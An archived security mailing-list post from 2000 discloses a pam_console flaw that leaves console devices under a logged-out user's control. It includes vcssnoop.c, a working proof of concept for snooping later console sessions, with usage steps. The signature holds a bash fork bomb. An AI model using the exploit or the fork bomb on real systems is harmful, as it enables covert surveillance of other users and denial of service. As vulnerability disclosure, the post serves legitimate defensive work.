OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
Subject: pam_console bug
From: Michal Zalewski (lcamtufTPI.PL)
Date: Tue May 02 2000 - 15:23:44 CDT


When accepting luser console login, pam_console called by /bin/login tries
to be user-friendly, doing several chowns on devices like login tty and
corresponding vcs[a] device, as well as other interesting devices: fd*,
audio devices (dsp*, mixer*, audio*, midi*, sequencer), cdrom,
streamer/zip drive devices, frame buffer devices, kbd*, js*, video*,
radio*, winradio*, vtx*, vbi* and so on. Probably it's designed to make
console logins more comfortable, but has DEADLY effects on servers with
console luser-login ability (and that's quite common).

On logout, these devices are chown'ed back to root, but unlike
/dev/tty[0-9], these devices have no hangup mechanism, so user will have
full control over them after logout by opening them and then keeping the
file descriptor. The easiest attack is read-write snooping of consoles.
Log in on console once, open /dev/vcsX (where X corresponds to tty
number), then logout. By continous lseek/read loop, your program will be
able to snoop futher logins on this console - forever. Also, it's possible
to write() on snooped console... Ugh. Other possibilities include reading
any inserted cd, reading/writing any inserted floppy, messing with
video/audio devices and so on, all in the same way.

Minimal tty snoop exploit:

-- vcssnoop.c --
#include <sys/fcntl.h>

main(int argc,char*argv[]) {
  char buf[80*24];
  int f=open(argv[1],O_RDWR);
  while (1) {
    lseek(f,0,0);
    read(f,buf,sizeof(buf));
    write(1,"\033[2J\033[H",7); // clear terminal, vt100/linux/ansi
    write(1,buf,sizeof(buf));
    usleep(10000);
  }
}
-- EOF --

Log onto console, let's say it's tty3. Then, compile and launch this
program via screen, giving path to vcs device corresponding to your login
tty (in this case, /dev/tty3). Then, detach this screen and logout. Wait
some time, log in remotely to your account and resume screen session. You
should see real-time tty3 dump.

_______________________________________________________
Michal Zalewski [lcamtuftpi.pl] [tp.internet/security]
[http://lcamtuf.na.export.pl] <=--=> bash$ :(){ :|:&};:
=-----=> God is real, unless declared integer. <=-----=